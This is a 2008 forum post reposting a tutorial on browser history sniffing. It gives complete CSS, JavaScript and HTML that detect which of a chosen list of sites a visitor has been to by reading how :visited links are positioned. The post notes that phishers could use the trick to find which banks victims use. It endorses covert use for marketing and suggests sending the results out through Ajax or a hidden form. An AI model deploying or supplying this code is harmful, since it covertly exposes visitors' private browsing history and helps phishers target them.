How to know your visitor's browser history (tutorial)

Discussion in 'Site & Server Administration' started by You, Jun 18, 2008.

0
  1. #1
    Hey guys, I don't really know which section this falls on, but I think this one is the best, since it can be important for online businesses and websites to know their visitor's browser history.

    Here it goes:


    This is a trick vulnerability I learnt about from a talk I went to by Rasmus Lerdorf called ‘Exploring The Broken Web’.


    He took delegates on a 30 minute whirlwind tour of security vulnurabilities on the internet, specifically what can be done with XSS combined with a bit of social engineering.


    He only briefly skimmed on an area that interested me. He exposed how a developer can check a user’s browser history, by just asking for it.


    The trick is to use a small (and very simple) JavaScript code along with some CSS to find out which websites a user has visited from a list you provide.


    Rasmus mentioned the script as something of use to phishers (they can find out which banks you bank online with and send you the appropriate phishing emails).



    I saw a less immoral use for it (although I won’t deny it’s still immoral): purely for marketing statistics. If I had a site selling t-shirts, like www.bensfunkytshirts.com I could use this script to find out if my visitors had also been to threadless, bustedtees and designbyhumans - or any other site.


    Here’s the CSS:
    <style type=”text/css”>
<!–
#links a {width: 0px; overflow: hidden;}
#links div {margin: 0; padding: 0;}
a {position: absolute;}
a:visited {left: 1px;}
//–>
</style>
    Code (markup):
    Here’s the JavaScript:
    <script language=”JavaScript”>
onload =function() {
var links =document.getElementsByTagName(’a');
var visited =new Array();
for(i =0; i<links.length; i++) {
if(links[i].offsetLeft==1) visited.push(links[i].id);
}
 //reveal on page the results
for(i =0; i<visited.length; i++) document.write(’You have been to ‘ + visited[i] + ‘<br />’);
}
</script>
    Code (markup):
    Finally, here’s the HTML:
    <body>
<div id=”links”>
<div><a id=”Yahoo” href=”http://www.yahoo.com/”>.</a></div>
<div><a id=”Google” href=”http://www.google.com/”>.</a></div>
<div><a id=”BBC-News” href=”http://news.bbc.co.uk/”>.</a></div>
<div><a id=”SlashDot” href=”http://slashdot.org/”>.</a></div>
</div>
</body>
    Code (markup):
    I’ve put an example of the script working up here:
    http://www.hostengage.com.au/dev/historyInquisition/
    If I were to use a simple piece of Ajax, or to stick the sites I know you’ve visited into a simple hidden form, I could easily learn far more about your browsing habits than you would want me to know.





    I didn't write this guide, btw. I found it here, and I thought it would be nice to share it with the rest. Of course, I edited it so it looks good on the forum.



    Cheers!
     
    You, Jun 18, 2008 IP